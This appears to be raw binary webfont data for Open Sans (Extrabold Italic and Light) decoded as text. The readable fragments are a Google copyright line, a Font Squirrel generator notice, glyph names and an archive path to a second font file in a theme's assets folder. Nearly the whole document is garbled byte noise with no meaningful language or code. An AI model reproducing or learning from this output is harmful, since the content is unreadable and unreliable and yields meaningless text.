#qR��%T�M_�|�C��7H��`otX9�X�牌?@�K>��/��/�ִ+�+�+01!��/�#������(��+�(/���)/�ֱ� ���*+�6�>��+
����$�����+�
+�$�$+�#$+� � �#9�
9�#$9�9�
#$........�
#$........�@��	9901>7>75&54?654#323"+{IH$5�{�"�6=��%Yh:y{7%ɶJ+.;cn7�>�X��E<�BE��Q]���`/���/�3��22� ��33�	�2�/�+�6��”+
�.�.���������/+��+�+��+�+� � �#9�9�9�9�....�........�@��
9�	�9016323267#"&'.#"`k�=cgC^43�9k�>gaKW14}m)@9��m'<����J�)�+�	+�/�ֱ�+��9901!'4632#"&m�H��7�mYb�rW]����N�mxOIk~Q���f�U�+�+�	+�
+���/�ֱ
�+��99��99��	999��9901?3.#"3267#7$�� �!zmzOb1?h@>;H�J��)�3��J2�#��9��%c�nOE2(��N��J����"E�+� 	�+�	�
+�3��2�#/�$+� �9��9��901#>?#37>32.#"3#!?LY1�9�v��Y�l�B`3#+�9�kP\H98SR`���W&0�� 1Dr��^Jw"��j�J�'��+�%+�/�+�(/�ִ+��"+�+�)+��$9�"�99��	
$9��
$9�%�99��	$90176327'#"''7&54732654&#"j�`V`X}��++{�}`XlN{�..�V?A[YC@U�}+0���Rh^\{�{)'w�{Z^\\�@XY?=ZXL-�I�+�
+�3�

+�3�
+�2�

+�3�
+�2�/�+�
�	901?37#73!!3#3#!7L+��-���H%���-��+�)��)�́���#́;���D�
#�/�ְ2�+�2�+�	+01!!!������}I��%��/)0;��./�+�/�+�</�
ִ1+� ��+�1�6+�%+�%�+ ���/�+�=+�1�
.$9��99�6�499�+�#(999�.�9��+49$9��9017532654&'.5467.54632.#"#"&654&'%U�aEQ>I�z\V&*�߸�d[�A<3A9�L\ %��n�]JXJIQ%-F�4D9/&A(G�aT�5&g3��f�:+-!)-q�c�4&i9��3+R13L6R"FP��#/�/�3��2���/�ֱ��	+�
�+01432#"&%432#"&Pɪ�XR�ɨcdXRh�}�>A�}a\>q��P�5��+�
+�+�
+�3.
+�3+�#(
+�#+�6/�ִ+�� +�++�+�+�+�7+�+�#%03$9�.3�19�(� &0$9�#�%9014$32#"$732$54$#"4632&#"327#"&q�\��^������ţ�������훹�Ϧ�\rlP\X[�x~�����`��������\ƞ����������R�<zv�rD�@�����!P�+�	3�
+�/�
+�
+�@	+�"/�ִ+�#+��9��9��9014>32373#7##".%32>54&#"�Z�b@_6	$Ǫ�		Y�<`9&.B$'!'C'�x�(;V�/Vb?xd05M{C5=Q�=L?
55=���o��l���{��)
������
�����R�!Z3�/��
+�@	+�/�ִ+�
+�@	+�+01!!R��J��\��!�/����/�ִ+�+01!?)@�8��q��P�-6��+�
+�+�
+�"6
+�"
+�6"
+�@6*	+� 2�7/�ִ+�� +�-+�.2�-�2+�%+�%�+�+�8+�2-�+$9�%�(*99��)9�6�%+.$9014$32#"$732$54$#"!2!#32654&+q�\��^������ţ��������"��Y_��
N<GE��`��������\ƞ��������k��[|#��@���,66 ����Bo�����N�+�+�/�+�/�ִ+��+�+�+��99��99014>32#".732654&#"�b�cb�bc�ac�b�O54OM67MZa�ed�`b�`b�b3LL35POf5%d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�2�
+�@	+�2�+013!!!!!!f�1a`�������`����^HL�M�+�+�/�+�/�ֱ�+��999��9��
99��99017%>54#"'>32!+lH?#d6vT����?��?3H��SR"3$,�A:z_Fw{r�B95�&v�+�+�$/�+�	/�

+�'/�ִ+� ��!+�(+��9�!�9�$�9�	�!99�
�99��9��990153254+732654&#"'>32#"&B?�8�qx+`GW, OjdS�g��ox\JЫj��+'PD�+-B�4+r_[n]B� ���!�/�	��	/�
+01567!�{��-��c�f�6�5����m��+�+��+�
33�/�3�/�ֱ��
+��+�6�>��+
�������>��+��+�+� � �#9�9�..�....�@��99�
�999��9��$901!32>7!!7##"'#RX��-4=.u���Dzf
&5�Y��N?,*4zw'��{�M���f���O�/�+�
+�@
	+�@
	+�2�/�
ִ	+�	�+�/�	�+�+�+013!####"&f��y���6G����3��3�s�(�	/�	+�	+�/�ֱ��
+014632#"&s�qRc�qV^�j}QJuqP�#�N�+�
+�+�+�/�ִ+�+��	
99��9��99��
9013254'73#"'�aD�K����sM��	1I�)%�y�sH�	"�+�
/�ֱ�+��99013!67s�����R"Jw���lfi;N��j�N�+�
+�
/�
+�/�ִ
+�
�+�+�+�
�
99��9901432#"&%32654&#"��ɏ�fŅ��7;L <K������s��T�m-/���#�
'%%%yL�X+
oN��i�1f����NI��"
����O����'����'��{���h���'t��&{�������'����'u�������/�(a� +�&	+�/���)/�ֱ��+�#�*+��9��99�#�	$9��99�&�999014>7>?!327#"&4632#"&T7dzdU
;8Y^YI--|�w����q\�mYb�rW]Y�iJ<R*+?Rt]=:J(%!l�懴��mxOIk~Q�����s&$CBR�����s&$vR����7s&$��R����T&$��R����Nu&$j�R�����&$�V=����9�+�3�		�	+�	�+��2�
+���/�+01#!!!!!!!!#}��B�#/�G�C9�C��:�^�uqD��������Z��h�R�&&z��!�s&(C��R��!s&(v}R��!�s&(�1R��!�u&(j/R���s&,C�R��*s&,v��R���s&,�QR���u&,j�OR
9�@�
+�
	�+��

+�3��2�/�ֱ�+��99013! )32654&+3#
F�{�&�V��wVEo�^laG8�E�3@C���N�%3�	�t~������!\&1��R��h���s&2CR��h���s&2vR��h���s&2��R��h���&2��R��h���u&2j�Rf�%�7			'f�!$������߹�����ݼ ��!^����$r�+� 	�+�	��%/�ֱ��$+��2�&+��999�$�$9��	99� �999��$999��	99901?&5$327#"'&#"3265^uk�]අ\�cg����j��-F^�`V.D_�^�����Hsw}����C�E�qM!��������}���s&8CFR��}���s&8vR��}���s&8��R��}���u&8j�R���}s&<v�R!����+�3�+�3�	
+�	�
2�/�ֱ
�+�6�>��+
�.�.�������>���+��+�
+�+�>���+�+� � �#9�9�..�
........�@��99013!2!#32654&+!5�-�
����V9?^mSB-�������Rbk:K���w<��+�!�:+��3/�	��=/�0ֱ
�0+�*�*/��0�$ ��
�>+�6�>��+
����7��6��67....�67....�@�$*�	!.3$9��9�:�<9��9�!�9�3�9990132676$!2#"'32654&'.5467>54&#"#"'��?6JK�5)
�fou)C_Zuߠ�q;�8;8'^XNT{G:SKNm�+ݶna�<A��Ưv�48.+#3�au�c-+!, +>8oK\uC(H,:=da�`����T���!&DC���T���!&DvN��T���&D����T���-&D���T���#&Dj���T����&D��T����*6@��#+�+�(3��+�-�	+�+�3�>�+�3�7
+�+�A/�ֱ+�+�;+��B+�+�(9�;@
#%$07$9��999�#�!$%$9�-�99�7�+9�3�0;999�	>�99014632373>32!#3267#"'#7##"&%32654&#"%32654&#"T�߇\x25�:�H�����<�O�ac�m�S�
8�R���VLu.*1X6{m|(,=j��t�LT�_8;�����/3��:,p\{NA���AOsÄSD ,���T�!�&Fz���T��u!&HC���T���!&HvF��T���!&H���T���#&Hj���!&�C�����!&�v�a�����!&������#&�j�T��%(c�+��&/���)/�ֱ��#+�
�*+��
99�#�	$9��$9�&�99��990146327&''7&'77!"&%32>54&#"T}藂I
G��R�Bs�_�R�GV������T5P/%/Qc���X�h�f1�=Ln�ZX�������Y�ILV����-&Q���T���!&RC���T���!&RvP��T���!&R���T���-&R����T���#&Rj�f�5�1�
/�	�/��/�	��/�ְ2�
+�2�+01!4632#"&4632#"&f�{RLJQSHJTRLJQSHJTJ���SYYSQ[\
SYYSQ[\B����"u�+��+�+���#/�ֱ��"+��$+��999�"�$9��
	999��99��"$9��	999017&54$327#"'	&#"3267Bp^�*ƈriiR����ovO#/CtDC+k�	�u��U�9ym{r����1�2�n��˺��`���!&XC���`��!&Xv���`���!&X���`���#&Xj#�����!&\v'����#��+��	+� �/�3�$/�ֱ�%+�6�>��+
�.�������+�+� � �#9�9�....�......�@��	9��99� �9�	�901!3>32#"'#32>54#"R��1&4,iO���牏X,3�.*0X7V2Z5��~;F���������ANr�e�r�����#&\j��mE�+�3�+�3�/�ֱ
�+��/��+�6�>���+
�@013!���m��h����!T�+�	�+�	�+�
�+�	�
+�	��"/�ֱ�#+��99�
�9014$32!!!!!!# %327&#"hu�%�^ajC�"/�H�D:�A��h]�����`T�5e`�e�n������%��)�1���T����*4��+�3�"�2�+�3�2�+�(�+
+�+�5/�ֱ � �/+��6+�/ �%+$9��99�"�99�� 999�(+�%/999�2�9014$32632!#3267#"'#"&%3254&#"%32654&#"T���Z�����;�O�ar�}�\|����TQx.(Ru�n|)+<i��V�}}�����/3��:,pp�Ņ�BC��QRE ,����}u&<j=R���!"�/�	3�	�	��/�+��9015>7!!&'�O�0�h2��.n�d�H�4;�A)�n@
�#�L�	/�
+�/�
+�/�ִ+��+�+�+��	99��99014632#"&732654&#"
�zv��wy��/*'15#$5�r��oq��s%/2"&00-��-7�	+�+�2�� ��+�2�/�ִ+�+01>323273#".'&#"- ��"3EF N%�"��!@:I6;լ�
$ d��	-6.��!�/����/�ִ+�+01!?)@�8����!�/����/�ִ+�+01!?)@�8����!�/����/�ִ+�+01!?)@�8��!����/����/�+01!!9g<���!����/����/�+01!!9><���m���"�+�		+�/�ִ+�	+0167!!mh� 6l�����>���^��"�+�		+�/�ִ+�	+01>7!^"CX\\��Q���������� �/�		+�/�ִ+�	+01>!h2q\^���;�;�m���
+�3�		+�2�/�+0167!!%67!!mh� 6l���m�!13X�����>�����s��^�o��+�3�		+�2�/�+016?!36?!^13Y\\��):Y\'�I�u����b��[��v�������/�3�		+�2�/�+01>!36?!h2q\^��=V*\3�<��;�;���st��]V��m
.�
/�	+�	+�/�ִ+�+�+014>32#"&V^�r��˴����v�l���ޠH����Jh&'X�=L�9�/�ִ+�+015=���o��)
�������+��/�ִ+�+��901'%
oL��i�NI��"
����1�!!��A#����JH^�
:�+�
/�3�
+�2�

+�@
	+�/�+�
�9��9017!3#!7'3>7�Ewq)q��y�>
,òA���{{��F	=5���%X�"+�	�/�3�
+�2�/�3�
+�2�/�	��&/�'+�"� 9��9��
9�	�901737#73632&#"!!3#3267#"&'5+mj/uT>�s�V�xe�M)-���+�7NK�N~�����{��27��N��;@�R>%��A��f����+�
33�	+�$2�+�	+�+�
+�2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+�6�€�H+
�.�����
��=�+
�.�
��� ����...�
.......�@��9015!##!!#47###f�������������!���!�/�J$��@.�poo!!o��o�����/�7&ILH���/�+&IOH�/��7=ALy�>+�A3�;+�-3��22�� ��03�=�/2�+�&?@$3�7�)6222�/�"3�
�2�
�*
E+�K	� 22�K�M/�?ֱ@
�A@?+�>�>/�A�?�B ��H�N+�6�>��+
��
��8����>$�+
�6.���)!��%��>���+
��
+�>��w+�	
+�8�8+�6�6+�)�&)%+�8�78+�	
 � �#9�	
%8.......@	
%&)678..............�@�?>�" ('$9�B�9�@A�EK99�
�BH$9013267#?>32&#"!7>32&#"3##"'3267!#"'!4632#"�?6JL��+�+ϬP�5c@A#1K)˲P�4b@A#1�A��+ݶna?6JK����+ݶna����ewk[ctm��<A��`J�� ��%#GE�� ��%#G��A��/<A��A���m��fgjIDdm�/��=AT�>+�A3�;+�-3��22�� ��03�=�/2�+�&33�7�)6222�/�"3�
�2�
�@ ��?3� �2�B/�?ֱ@�A@?+�>�>/�A�C+�6�>��+
��
��8����>$�+
�6.���)!��%��>���+
��
+�>��w+�	
+�8�8+�6�6+�)�&)%+�8�78+�	
 � �#9�	
%8.......@	
%&)678..............�@�?>�"('$9�@�99013267#?>32&#"!7>32&#"3##"'3267!#"'	!�?6JL��+�+ϬP�5c@A#1K)˲P�4b@A#1�A��+ݶna?6JK����+ݶna�I����<A��`J�� ��%#GE�� ��%#G��A��/<A��A������
���_<����������C���s����d����o��+�=VP����D��{V��fs���s����?�����������N�#�1�jss���X�f�m��-Rh��!
hy!!�!�h�!����Z!7!F!R!�h�!�h3!b+j��}��{�N����P�������{H����Ho��T�T�T�TH�/y�{�������h��T���T�?�`ZX�f���Z����������`o��������j�L��%oP�q;��=�R��q��`��fPPBo���%fss�#Ps1�����O�h���h��h��h��h��h��h�����
h!!!!����y
R!�h�h�h�h�h�f�^�}�}�}�}���!����T�T�T�T�T�T�TT�T�T�T�T�������T��T�T�T�T�T�fB�`�`�`�`Z���Z��uh
T��o��
o-���??�j����!�!�m�^m���m�^b��#V�=������P�5)fo�/�/s�/o�/2222j��8����*n����B��P���6��	&	:	^	r	�
�
�l�b�

x
�
�h�<��P� ��>l��0`��0Tp��L��f��:��\�t�L��D�.�Dt0� L L � �!<!�""0"�##�$
$0$Z$z%&%0%�%�&(&�&�'F'�'�'�(&(t(�(�(�(�)<)H)T)`)l)x)�)�)�)�)�)�*** *,*8*�*�*�*�*�*�*�*�+l+x+�+�+�+�,*,�,�,�----$-�-�-�....$.0.<.H.�.�.�.�.�.�//L/�/�/�/�/�00�0�0�1,1�1�1�2J2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�3
3$3J3p3�3�3�4,4^4n4n4�4�4�4�55l666"6.7`8r�M=yf	r	r	 �	�	4�	�	0�	�n.Digitized data copyright � 2010-2011, Google Corporation.Open SansExtrabold ItalicwebfontOpen Sans Extrabold ItalicVersion 1.10OpenSans-ExtraboldItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�d+�+D� E�=+�+D� E�*+�+D�	 E�+�+D�
 E�+D� E�
�+�Fv+D� E�+�Fv+D�
 E�
�+�Fv+D� E�
+�Fv+DY�+PK!.�9�btbt:bluetheme/assets/fonts/OpenSans/OpenSans-Light-webfont.eotnu&1i�bt�s,LP��[ @(� ��VOpen Sans
LightVersion 1.10Open Sans LightFFTM_���GDEF( OS/2�͕�H`cmap�48��cvt �	:�2fpgm�/��egasp@glyfX;&�Hadhead����g�6hhea�Pg�$hmtx��^{h�loca��|k��maxp
m� name%N@�m��post�-Ko��prep�е�rp;ɉo1��=��B�,�3�3�f���@ [(1ASC ����X �?� ��2 ~�1Sx��� 
    " & / : D _ t �!""���� �1Rx���     " & / 9 D _ t �!""���������q�M�����������������r�;���� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�?�Z9NTV^cq�f3AITbfko�XR�,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�0�+�
�+�
��/�ֱ
��+�
�	+013!%!!�I�y����Jh����F�X�+��+�/�ִ+�+�
+��/�
�+�	�
+�
�99��
9017432#"3#�PRRPw=Nbbb����N�:�+�3�+�2�/�ֱ��+��	+��99013#3#�!=)!=�����7��Q�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ֱ��+��
+�@	+��+��
+�@	+��+��!+�6�>��+
�>���+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!!5!3!3!!!!#!#7!!7+L��7V[YmXVX��L/��VZX��VXVfkN���O�P�:�:P�rO�=�=�O����� '.��/�3��(2�
+�@	+�/�%3��2�
+�@
	+�//�	ֱ!�!�+�$222��(222��++��0+�+�99��9��	$.$9��901753.546753&'#5.>54&'�K�Y��@��QŚ!��ՠƯQ\�Er~wyAz�~��g$2�,XxV|���	?Z>
�B�~����)}Vn&�x�e
|bUo(q���&0��+�"$+�*�+�+��	
+�	�.
+���1/�ֱ��+���+�'�'�,+�!�2+��	$9�,'�$$9�	*�!',$9��999014632#"&7324&#"3	4632#"&732#"q��������bZ`�c^`Z�+`��𓋉�����bZ`��`Z�������ܺ�u����F��J��������ڹ�rq�{���� +7}�+�+�$�
+�5��8/�ֱ!
�!�+�,�,�2+�
�
�+��9+�2,�
$($9�
�'$9��9�5$�
(/$901467'.54632>73#'#"&73267>54&#"{��KB@�������=V `?�
��\��m��h����g��y7�Pp�||jr�s��lRG�J����i�k�7H�t�����ZS,ν��Wg�Hev�O�kU�_^ut����+�+�/�ֱ�+013#�!=���R�����+�
/�ֱ�+0173#&R��q��0o��1	ή��3���l��=�����+�
/�
ֱ�+013#=q����o0����1�����:����h��73%'h�'�%��u�|��}�d�h��kh�'��G{��GTo�#�R�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#o�R��NR�R��NR�P�D��3��/�	+�/�ֱ�+0173DM!uKc������\7R"�/����/�+�	+�+015!\�RR���D�/�+��+���/�ִ+�+�	+017432#"�PRRPNbbb�� �+�+�/�ִ+�+0133 i����Js���B�	+��+���/�ֱ��+��+��	99��90132#"32#"s��������l���������~p�������}v����PIDP�����
5�+�+�
+�/�ֱ�+��99�
�9013#47��Vb ���)�J)���q�N�+�	�+�	��/�ֱ
�
+�@	+�
+�@	+�+��9�	�$90135>54&#"'632!q���>����6�߿ۓ��X����Z���E�̳����`^���(p�'+��+��'
+�	��)/�ֱ$
�$� ���/��
+�@	+�*+�'�9��$99�� !99��999017532654&+532654&#"'>32!"^T�\���ܞ��խ�m�p1U�{�ܫ������?c,2����`��z�=JCGS��������+u�
^�	+�+��	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�9��901533##%!7#+�y��^��yguC�
V��uV�.�%�����|�+��+�	�

+���/�ֱ
�+�6�?�q+
�.�
��
����
..�
....�@��99��9�
�999017532654&#"'!!632#"&�l�_���‚�<:���-�X�
��m�?g7+˭��''�`�����+���#�&b�+��+�	�+��#
+���'/�ֱ�2�� +�
�(+� �
$9�#�
$901$32&#"3>32#"732654&#"���^NIg���
L�m������mc�f����f�ho��X����bd���S�o�x�Z�m�"�+�+�	��/�+��9015!#m���uZV`I��Vy���$1h�+��//�
��2/�ֱ
��% ��
�/�%
��+�
�, ��

�3+�,%�
"$9�/�
")$901467.54>32#"&732654&'>54&#"y����j�u�㍞������f���ȝบ-?w�������w��FL�vi�V��p�IO����ʲ����|�UG��FkW:?�kx��o���(n�+��+�&�
+���)/�ֱ
��"+�2��*+��
99�"�$9��
9��9�&�99901432#"'532##"&732>54.#"o�ǐ�u����hX+y �I�n��f��e�g]�m���������|�VeV`g�Ԯ�Z�Mu�s����D-3�+��/�
��/�ְ2�+�2�+�+017432#"432#"&�PRRPPR/#".Nbbb�bb5..L��D-4�/�
��/�ִ+�2���/�+��
9901673432#"&LBuKcPR/#".��a)l����bb5..o
#�5	o���7�=�_�k��`o�#��/��/���/�	+015!5!o��L��RR�RRo
#�5	5o7���
`c�_�&=9���'k�&+�"�+���(/�ֱ� +�$+��+��)+��"&99�$�99��999�"�999��901>32#546?>54&#"432#"9n�O��$A\8@ERKe[H>��O�P�PRRP{0 ŬDfWQ/6Yba%{�YO=xN�#'�#bbbq�;��5@��0+�3/�-�/�3�9�2�>/��&/���A/�ֱ*�*�+�6
�6�"+��B+�"6@	&-03<$9�-3�19�>9�"*$9��901$32#"&'##"&543232654$#"!267# 3 &#"q����K���Yo	+�l���Š�FQg���ۼ��N3]������znw�Or��1������l]de���)�0hi��$������$4cP����Z#���,�+�3�+�
+���/�+��90113#!!&'LA@s�����# ��D��`>n`N���g�+��+��
+��� /�ֱ
�2��+�� ���!+��	99��9��	99��9013! #%! )5!2654&#!���������X��T��Bλ�����������ZJ-Z���������A�+�	�+��+�	��/�ֱ�+�	�999��9014$32&# !27# ��=�֩)�����*��������T�P\P������/Z3��%�8�+�	�+���/�ֱ	
�	�+��+�	�9013! !'3 )��^m�~�������������������Z�:=���G�+�		�+�	�
+�	��/�ֱ	
�2�	
+�@		+�2�@		+�
+013!!!!!��G��n��^��^��^���	@�+�+�	�
+�	��
/�ֱ	
�2�	
+�@		+�@		+�+013!!!!�!�E��l�^��_�s���)�x�+��+�	�
+�	��/�ֱ��+�
�
+�@	+�+��	999��99��9��99�	�9��9014$32&# !27!5!! ��U��)����B8ʍ�M��������Y�X\X�������9`�eZ����?�+�3�+�3�

+�	��/�ֱ
�2��+�2�
�
+0133!3#!�fVgg����w��J�1�5�!�+�+�/�ֱ
�
�+0133�f��J�H��5�-�+�	/�	��/�ֱ
�
+�	�9��901323!"'�NG�f��\;���J�����0�+�3�+�3�
/�ֱ
�2�+��
99013373	#�f�=���g}������V����������,�+�	�+�/�ֱ
�
+�@	+�+0133!�f����`��V�+�
33�+�3�/�ֱ��+�
�+��9��
999��99��999013333#47###Ϟ�g��A������JTt|��F|������N�+�	3�+�3�/�ֱ��+�	�+��9��
99�	�9��9901333&53##�fa	cg�������J�v�L�����D�	+�	�+�
��/�ֱ��+��+��	99��9901! ! ! ! �_02Z������o�������]��m�����k�\���T=<Q���?�	B�+�+��

+���/�ֱ	
�
2�	�+��+�
�9013! !#32654&+�f
����������\������������L�+�	�	+�+�
��/�ֱ��+��+��

	$9��9901! ## ! ! �_02Z��M���!���o�������]��m����6��J�\���T=<Q�����
[�+�	3�+��
+���/�ֱ

�2�
�+��+�
�99��
9��9��9013! #!!2654&+�\���z�����������ʓ�,�f}��ե���o����$`�#+�	�+���%/�
ֱ��+� �&+��#$9� �99�#�9��
 $9��9017532654.'.54$32&#"# o����F����ε%����;����O����'fC��SmZ4M����NXL��QhS:;o�d��
'�:�+�+�	�2�/�ֱ
�
+�@	+�
+�@	+�	+015!!#
�%gV``��V����7�+��+�
3�/�ֱ
��	+�
�+�	�901332653!"�g����f��������N������N�����
!�
+�+�3�/�+�
�9013673#mpT;�o��Z���qK�L�J3����+�333�+�
$3�/�ֱ��+�
�+�6��=�7+
�������=��`+
�
.�	��������L+
�.���	����=��[+
��������&�+��+�+�+�+�=��v+��+��c�+��+�=���+��+� � �#9�9�9�9� � �#9� � �#9� � �#9@
	.............@	
...................�@��9901363>3#&'#3kN�q%3
) g�lT��(;��V��R9aUO(�w��lH�,�Jh�YW��N�&�+�3�+�3�/�
+��
99011	3	3	#	�As��m�;�u�P�H����r�F���V9�0�+�+�3�	/�ֱ�
+��9��9013	3#u��n�i��� ���-RJ�	.�+�	�+�	��
/�+��9��90135!5!!RX�����qL
`L��`���Z�1�+�	�/�	��/�ֱ�
+�@	+�2�	+01!!!����J���^��_�� �+�+�/�ִ+�+013#f#g��J3����1�+�	�/�	��/�ֱ�
+�@	+�2�	+01!!5!!3J����T�=^�X19�3#	X�D�d�u�r1��p������N�H�/����/�+01!!R���R��!	(�/�
+�
/�ִ+�+��90153#.���FE`�0�LO�b���R$v�+�+��
+��"

+���%/�ֱ��+� 22����/�&+��
$9�"�999��
9�
�9014$?54&#"'632#'##"&7326=b	��~���%����IR�v��i}r�ɾ��!��H��TVT��-�iW��fqDZky���L!g�+�+��
+��

+�@
	+�"/�ֱ�2���+�
�#+��99��
99��
$901333>32#"&'#3265!"�c>�{����t�6	%���������yXJUb\�����`X������w���T=�+��+���/�ֱ
�+��9��999��90132&#"327#"w�h��ι�h��-1X/���5\3&w��h�
+�+��+��
+�@
	+� /�ֱ
��+�2���
�
/�!+��$9��$901323&53#'##"!26=4&#"w��v�DbA|���hg������*Vh~y��즺�2���w���Tf�+��+��
+���/�ֱ
�2��+��+��999��99��9��9��90132!3267#"!4&#"w���Ϳ]�l\�^�n�����9���P��+Z($Z����a�+�+��+�3��2����/�ְ2��2�
+�@	+�
+�@	+�+��	9��9015754632&#"!!#ʓ�ZZPOta�c�:%TȻV��eV��-�T)3?��'+�,�+�=�2�+�=�2 '
+�2
�7'
+�7��@/�ֱ4
�*4+��/�*�4+��4�:+�
��.+�$
�$.
+�@$	+�A+�:@
!',7=$9��9�2,�$99� �9��99�7�9�=�9901467.547.54632!#"';2!"&7! 4&+ 32654&#"-�w1;�_jϰk;\�ZѰJ;>O]�������iM������S���������p�M2mS'�l��Ep���T/40�������bX�~�������Q�+�3�+��
+�@	+�/�ֱ�2��+��+��99��9901333>3 #4&#"�c=��rb��õ��bX�s�9�������)�	
;�
+�+��+�/�ְ
2��
��+�
�9901432#"3�?##?cm`2.-4��?�����)�I�
+��+��+�/�ְ
2���+��99�
�9��9013253#"'432#"bE<�cuP7
?##?��� �@`2.-4��
5�+�	3�+�/�ֱ
�2�+�
�9��99013333	#�c+x�T�w�c����b�0��%��}��+�/�ֱ��+0133�c���fT"p�+�33�+�+�
3��2�#/�ֱ"��"�+�
��+��$+�"�99��
	99��
9��	
$901333>3 3>32#4&#"##"�R-�dI5�r��b|���e���?�QY�]d��9ɟ���������TL�+�	3�+�+���/�ֱ���
+�	�+�
�99��99013336! #4&#"�Tjrb��õ?���s�9������w��9TD�	+��+���/�ֱ

�
�+�
�+�
�	99��990132#"&732654&#"w�������thŴ��Ǵ��!
)������Պ������LT_�+��+�+��/� /�ֱ�2���+�	�!+��9��999��	$90133632#"'#3265!"�Tp�����s���������+������ټTJX�b	������w�TY�+��+�+��
/� /�ֱ
��
+�
222�	�!+�
�$9��
$90132373#47##"32654&#"w���uTbv���h��Ʃ����-�����z~�
�������TE�+�+�+��	+�
	��/�ֱ��+��9�
�9901333>32&#"�T
C�lEODI��?�xa_��T��XT#`�"+��+���$/�
ֱ
��+��%+��
"$9��99�"�9��
$9��9017532654&'.54632&#"#"T��������C͸��%����y���C���/kRkYRp6;UkMz�BZBXNUf?5UlI����yFx�+��+��2���
+�@	+�+�/�ֱ	
�2�	
+�@		+�	
+�@	+�	��/�+��9��9��9015?3!!327#"&5�23?��X^^FH^���:-���V�P}xP������?K�
+�+��+�
3�/�ֱ��	+�
2��+�	�99��9901332653#'#! �b��·bTj��y�@����X�����?�+�
�+�3�/�
+0133673#f8)+f�\d?��j�r��?�+�333��2�+�	$3�/�ֱ��+�
�+�6��O�+
�������=4�K+
�.���������_+
�.���
	��	��>$�+
�������<��&+��+�+� � �#9�9�
........@	
..............�@��90133673363#&'##j�=;�Z�HH�d��h�$-�b?���n�M��k�LAp���J�J��+7�?&�+�3�+�3�/�
+��
99013	3	3	#	7���rDAm���s����/�6������?3�+��� ���+�3�/�+��99013363#"'532>7f�i*_�f�;PkL9F:C3N?S?����b�\��l6V0e�!RZ?	.�+��+���
/�+��9��90135!5!!R����w�?�X?�XX=����X�+��/��/���/�ְ2��2�
+�@	+�2�+��99��99��99015>5%"&54=zlh�|XbaYw�åPbc^+Zjh�ς�{��fe[��Q���X�/�ֱ��+013�\���H����X�+��/��/���/�ְ2��2�
+�@	+�2� +��99��99��9901>54675.54&'52#H�yYaaY{���my���egB{��1gkZ����daP����oh#=5�/��/��2�/�+��99��99��90156323267#"'&#"ol}=le~^8k>0qIt�|a1vq^n,:=@`1@H9=���HT	
D�+���/�ִ+�+�+��
+�
�+��9901432#"&3�PR/#".=�bb5..��>������m�+�+� �/�3�� �/�3���/�ֱ
��+�2��2�
+�@	+�+��9��
999��	901475332&#"327+#5&�ͺR���g��ɴ��n�R����+!��7T3���:\8��"N1�o�+�	�2�+��
+�3��2�/�ְ2�
�2�
+�@	+�@	+�
+�@	+�@	+� +��9��90135>5#534632&#"!!!Nn{���#������eFN)T��R)��DVB����R�t�0`
�'n�/��%/�
��(/�ֱ��"+��)+��99�"�$9��
99��99�%�$9�
�99017&547'76327'#"'32654&#"�ZZ�;�g��i�;�ZZ�;�n��k�J��������F�j��o�<�]]�<�o��i�<�]]�Ɉ������+d�t�+�+�3�
+�	3��2�
+�3��2�/�ְ2�
�2�

+�@
	+�2�
+�@	+�2�+�
�9��9013	3!!!!#!5!5!5!+u��n�P��R��i��Q�������R�R��1R�R��X�/�ְ2��2��	+013#3�\\\�������0>��.+��+���?/�
ֱ1
�1� ���/��1�8+�2�&
�+�2�@+�8@
$(.5<$9�+�9�.�9��+5<$9��9017532654.'.5467.54632.#"#"&>54.'�����2ȐeXVNˮ��#[�M��3x����VV��\�?��RX@��Qc?_Nc[7AB.I�eS�&/nQu�@P"YK6E>+@�f�e*lR��ANH?)r@>PJ2pPL�<�+�3�;+�2�+�;+�/�ֱ��	+��+014632#"%4632#"P @@?} @@?m.(VVV.(VVd��D�5{�+��+��(+�#�3.#
+�3��6/�ֱ�� +�+�+�+��7+�+�#%03$9�.3�19�(�&0$9�#�%9014$32#"$732$54$#"4632&#"327#"&d�^��^�������]�0��/���͵��ϲ(޺wl%b\����Trfj����^��������ZƲ�Ѳ�0��.���̵�4S-����+X-�N!D�!w�
+��/��/���"/�ֱ��+�2��#+��
99��
$9��9��99��99��9��
9�
�90146?54&#"'632#'#"&7326=N��_LDWm!ur�DTv_pZF=ZiXtz�dg+MK1I8�=HTb^6>d\@=R}-�
55R5>��>36=��=�+����+��+����+o�0�/��
